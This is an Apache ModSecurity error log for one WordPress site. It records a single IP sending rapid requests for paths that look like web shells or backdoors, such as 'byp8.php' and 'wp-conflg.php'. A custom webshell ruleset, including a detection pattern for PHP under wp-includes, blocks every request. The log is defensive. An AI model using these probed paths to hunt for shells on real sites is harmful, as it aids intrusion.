[Fri Dec 12 21:36:23.693739 2025] [:error] [pid 60649:tid 60661] [client 130.33.54.142:14570] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aTwaV1OcUGKU3sgfHP8A9QAAAQk"]
[Fri Dec 12 21:36:24.051229 2025] [:error] [pid 26519:tid 26529] [client 130.33.54.142:15114] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aTwaWM8TRgSGOeWqEhf42QAAAAY"]
[Fri Dec 12 21:36:24.447114 2025] [:error] [pid 27950:tid 27975] [client 130.33.54.142:15120] [client 130.33.54.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aTwaWIVLRvkrdsSc1F2mYgAAAVc"]
[Fri Dec 12 21:36:24.725001 2025] [:error] [pid 26521:tid 26598] [client 130.33.54.142:14788] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aTwaWJdhcAPU617AKTCJywAAAJM"]
[Fri Dec 12 21:36:25.016528 2025] [:error] [pid 26607:tid 26617] [client 130.33.54.142:14901] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aTwaWcb_b0tOEWTL2KmkEQAAAMg"]
[Fri Dec 12 21:36:25.279346 2025] [:error] [pid 26521:tid 26586] [client 130.33.54.142:15156] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aTwaWZdhcAPU617AKTCJzgAAAIc"]
[Fri Dec 12 21:36:25.665257 2025] [:error] [pid 26521:tid 26587] [client 130.33.54.142:14837] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aTwaWZdhcAPU617AKTCJzwAAAIg"]
[Fri Dec 12 21:36:25.986624 2025] [:error] [pid 26521:tid 26595] [client 130.33.54.142:15128] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/fucku.php"] [unique_id "aTwaWZdhcAPU617AKTCJ0gAAAJA"]
[Fri Dec 12 21:36:26.288827 2025] [:error] [pid 26521:tid 26579] [client 130.33.54.142:14866] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/fucku.php"] [unique_id "aTwaWpdhcAPU617AKTCJ1QAAAIA"]
[Fri Dec 12 21:36:26.613661 2025] [:error] [pid 26521:tid 26590] [client 130.33.54.142:14791] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/fucku.php"] [unique_id "aTwaWpdhcAPU617AKTCJ2AAAAIs"]
[Fri Dec 12 21:36:26.933265 2025] [:error] [pid 26521:tid 26598] [client 130.33.54.142:14480] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index/fucku.php"] [unique_id "aTwaWpdhcAPU617AKTCJ3AAAAJM"]
[Fri Dec 12 21:36:27.354767 2025] [proxy_fcgi:error] [pid 26519:tid 26526] [client 130.33.54.142:14581] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:36:27.486248 2025] [proxy_fcgi:error] [pid 26519:tid 26536] [client 130.33.54.142:14581] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:36:27.605432 2025] [:error] [pid 26519:tid 26542] [client 130.33.54.142:14581] File does not exist: /home/agraphicscom/public_html/loads.PhP
[Fri Dec 12 21:36:27.723108 2025] [proxy_fcgi:error] [pid 26519:tid 26538] [client 130.33.54.142:14581] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:36:27.856087 2025] [proxy_fcgi:error] [pid 26519:tid 26525] [client 130.33.54.142:14581] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:36:27.980523 2025] [proxy_fcgi:error] [pid 26519:tid 26531] [client 130.33.54.142:14581] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:36:28.100026 2025] [proxy_fcgi:error] [pid 26519:tid 26539] [client 130.33.54.142:14581] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:36:28.219156 2025] [proxy_fcgi:error] [pid 26519:tid 26534] [client 130.33.54.142:14581] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:36:28.337581 2025] [proxy_fcgi:error] [pid 26519:tid 26546] [client 130.33.54.142:14581] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:36:28.456745 2025] [proxy_fcgi:error] [pid 26519:tid 26547] [client 130.33.54.142:14581] AH01071: Got error 'Primary script unknown'
[Fri Dec 12 21:36:28.570905 2025] [:error] [pid 26519:tid 26535] [client 130.33.54.142:14581] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aTwaXM8TRgSGOeWqEhf45QAAAAw"]
[Fri Dec 12 21:36:28.849089 2025] [:error] [pid 27950:tid 27969] [client 130.33.54.142:14848] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aTwaXIVLRvkrdsSc1F2mZwAAAVE"]
[Fri Dec 12 21:36:29.117243 2025] [:error] [pid 26607:tid 26626] [client 130.33.54.142:14813] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aTwaXcb_b0tOEWTL2KmkFQAAANE"]
[Fri Dec 12 21:36:29.486009 2025] [:error] [pid 55760:tid 55785] [client 130.33.54.142:14878] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byp8.php"] [unique_id "aTwaXVObDQlftFDyGawZ1gAAAZc"]
[Fri Dec 12 21:36:29.755679 2025] [:error] [pid 26520:tid 26564] [client 130.33.54.142:15147] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aTwaXUG_frlY5vNXu_AB6gAAAEw"]
[Fri Dec 12 21:36:30.041543 2025] [:error] [pid 27950:tid 27967] [client 130.33.54.142:14858] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aTwaXoVLRvkrdsSc1F2maQAAAU8"]
[Fri Dec 12 21:36:30.322180 2025] [:error] [pid 26607:tid 26609] [client 130.33.54.142:14899] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aTwaXsb_b0tOEWTL2KmkFwAAAMA"]
[Fri Dec 12 21:36:30.635299 2025] [:error] [pid 26607:tid 26627] [client 130.33.54.142:14825] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/an.php"] [unique_id "aTwaXsb_b0tOEWTL2KmkGAAAANI"]
[Fri Dec 12 21:36:31.205221 2025] [:error] [pid 26607:tid 26625] [client 130.33.54.142:14909] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "aTwaX8b_b0tOEWTL2KmkGgAAANA"]
[Fri Dec 12 21:36:31.449588 2025] [:error] [pid 27950:tid 27954] [client 130.33.54.142:15134] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "aTwaX4VLRvkrdsSc1F2mbAAAAUI"]
[Fri Dec 12 21:36:31.833431 2025] [:error] [pid 26521:tid 26603] [client 130.33.54.142:14560] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "aTwaX5dhcAPU617AKTCJ4QAAAJg"]
[Fri Dec 12 21:36:32.103655 2025] [:error] [pid 26520:tid 26573] [client 130.33.54.142:14795] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gm.php"] [unique_id "aTwaYEG_frlY5vNXu_AB7AAAAFU"]
[Fri Dec 12 21:36:32.452162 2025] [:error] [pid 27950:tid 27965] [client 130.33.54.142:14876] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trplv.php"] [unique_id "aTwaYIVLRvkrdsSc1F2mbwAAAU0"]
[Fri Dec 12 21:36:32.831048 2025] [:error] [pid 26521:tid 26586] [client 130.33.54.142:14819] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trplv.php"] [unique_id "aTwaYJdhcAPU617AKTCJ5AAAAIc"]
[Fri Dec 12 21:36:33.089943 2025] [:error] [pid 26521:tid 26591] [client 130.33.54.142:15146] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trplv.php"] [unique_id "aTwaYZdhcAPU617AKTCJ5gAAAIw"]
[Fri Dec 12 21:36:33.443285 2025] [:error] [pid 26607:tid 26630] [client 130.33.54.142:14565] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/trplv.php"] [unique_id "aTwaYcb_b0tOEWTL2KmkHAAAANU"]
[Fri Dec 12 21:36:33.756165 2025] [:error] [pid 55760:tid 55777] [client 130.33.54.142:14892] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aTwaYVObDQlftFDyGawZ3AAAAY8"]
[Fri Dec 12 21:36:34.113334 2025] [:error] [pid 26607:tid 26614] [client 130.33.54.142:14869] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aTwaYsb_b0tOEWTL2KmkHgAAAMU"]
[Fri Dec 12 21:36:34.428381 2025] [:error] [pid 60649:tid 60669] [client 130.33.54.142:14833] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aTwaYlOcUGKU3sgfHP8A_wAAARE"]
[Fri Dec 12 21:36:34.696772 2025] [:error] [pid 26521:tid 26592] [client 130.33.54.142:14811] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ext.php"] [unique_id "aTwaYpdhcAPU617AKTCJ6wAAAI0"]
[Fri Dec 12 21:36:35.050977 2025] [:error] [pid 27950:tid 27963] [client 130.33.54.142:14530] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wa.php"] [unique_id "aTwaY4VLRvkrdsSc1F2mcQAAAUs"]
[Fri Dec 12 21:36:35.442820 2025] [:error] [pid 27950:tid 27953] [client 130.33.54.142:14836] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wa.php"] [unique_id "aTwaY4VLRvkrdsSc1F2mcgAAAUE"]
[Fri Dec 12 21:36:35.732443 2025] [:error] [pid 26521:tid 26600] [client 130.33.54.142:14498] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wa.php"] [unique_id "aTwaY5dhcAPU617AKTCJ7AAAAJU"]
[Fri Dec 12 21:36:37.060636 2025] [:error] [pid 26521:tid 26582] [client 130.33.54.142:14872] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wa.php"] [unique_id "aTwaZZdhcAPU617AKTCJ7QAAAIM"]
[Fri Dec 12 21:36:37.392638 2025] [:error] [pid 55760:tid 55766] [client 130.33.54.142:14848] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aTwaZVObDQlftFDyGawZ3wAAAYQ"]
[Fri Dec 12 21:36:37.685447 2025] [:error] [pid 26607:tid 26615] [client 130.33.54.142:15116] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aTwaZcb_b0tOEWTL2KmkIAAAAMY"]
[Fri Dec 12 21:36:38.067149 2025] [:error] [pid 26521:tid 26593] [client 130.33.54.142:14467] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aTwaZpdhcAPU617AKTCJ7gAAAI4"]
[Fri Dec 12 21:36:38.403504 2025] [:error] [pid 26607:tid 26616] [client 130.33.54.142:14479] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aTwaZsb_b0tOEWTL2KmkIQAAAMc"]
[Fri Dec 12 21:36:38.695678 2025] [:error] [pid 26520:tid 26569] [client 130.33.54.142:14821] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTwaZkG_frlY5vNXu_AB7QAAAFE"]
[Fri Dec 12 21:36:39.069615 2025] [:error] [pid 27950:tid 27964] [client 130.33.54.142:14476] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTwaZ4VLRvkrdsSc1F2mdgAAAUw"]
[Fri Dec 12 21:36:39.447015 2025] [:error] [pid 26521:tid 26603] [client 130.33.54.142:15162] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTwaZ5dhcAPU617AKTCJ8AAAAJg"]
[Fri Dec 12 21:36:39.686698 2025] [:error] [pid 26521:tid 26580] [client 130.33.54.142:14591] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTwaZ5dhcAPU617AKTCJ8QAAAIE"]
[Fri Dec 12 21:36:40.097215 2025] [:error] [pid 26521:tid 26591] [client 130.33.54.142:14793] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mc.php"] [unique_id "aTwaaJdhcAPU617AKTCJ8wAAAIw"]
[Fri Dec 12 21:36:40.371993 2025] [:error] [pid 27950:tid 27966] [client 130.33.54.142:14820] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mc.php"] [unique_id "aTwaaIVLRvkrdsSc1F2meAAAAU4"]
[Fri Dec 12 21:36:40.633872 2025] [:error] [pid 26521:tid 26590] [client 130.33.54.142:14907] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mc.php"] [unique_id "aTwaaJdhcAPU617AKTCJ9AAAAIs"]
[Fri Dec 12 21:36:40.863285 2025] [:error] [pid 26521:tid 26598] [client 130.33.54.142:15145] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mc.php"] [unique_id "aTwaaJdhcAPU617AKTCJ9QAAAJM"]
[Fri Dec 12 21:36:41.360541 2025] [:error] [pid 26521:tid 26583] [client 130.33.54.142:14784] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/article.php"] [unique_id "aTwaaZdhcAPU617AKTCJ9wAAAIQ"]
[Fri Dec 12 21:36:41.693404 2025] [:error] [pid 26607:tid 26624] [client 130.33.54.142:14861] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/article.php"] [unique_id "aTwaacb_b0tOEWTL2KmkJAAAAM8"]
[Fri Dec 12 21:36:41.992374 2025] [:error] [pid 55760:tid 55770] [client 130.33.54.142:14849] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/article.php"] [unique_id "aTwaaVObDQlftFDyGawZ4wAAAYg"]
[Fri Dec 12 21:36:42.317932 2025] [:error] [pid 26607:tid 26619] [client 130.33.54.142:14794] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/article.php"] [unique_id "aTwaasb_b0tOEWTL2KmkJQAAAMo"]
[Fri Dec 12 21:36:42.562818 2025] [:error] [pid 26520:tid 26575] [client 130.33.54.142:14546] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aTwaakG_frlY5vNXu_AB7gAAAFc"]
[Fri Dec 12 21:36:42.801720 2025] [:error] [pid 55760:tid 55783] [client 130.33.54.142:14808] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aTwaalObDQlftFDyGawZ5AAAAZU"]
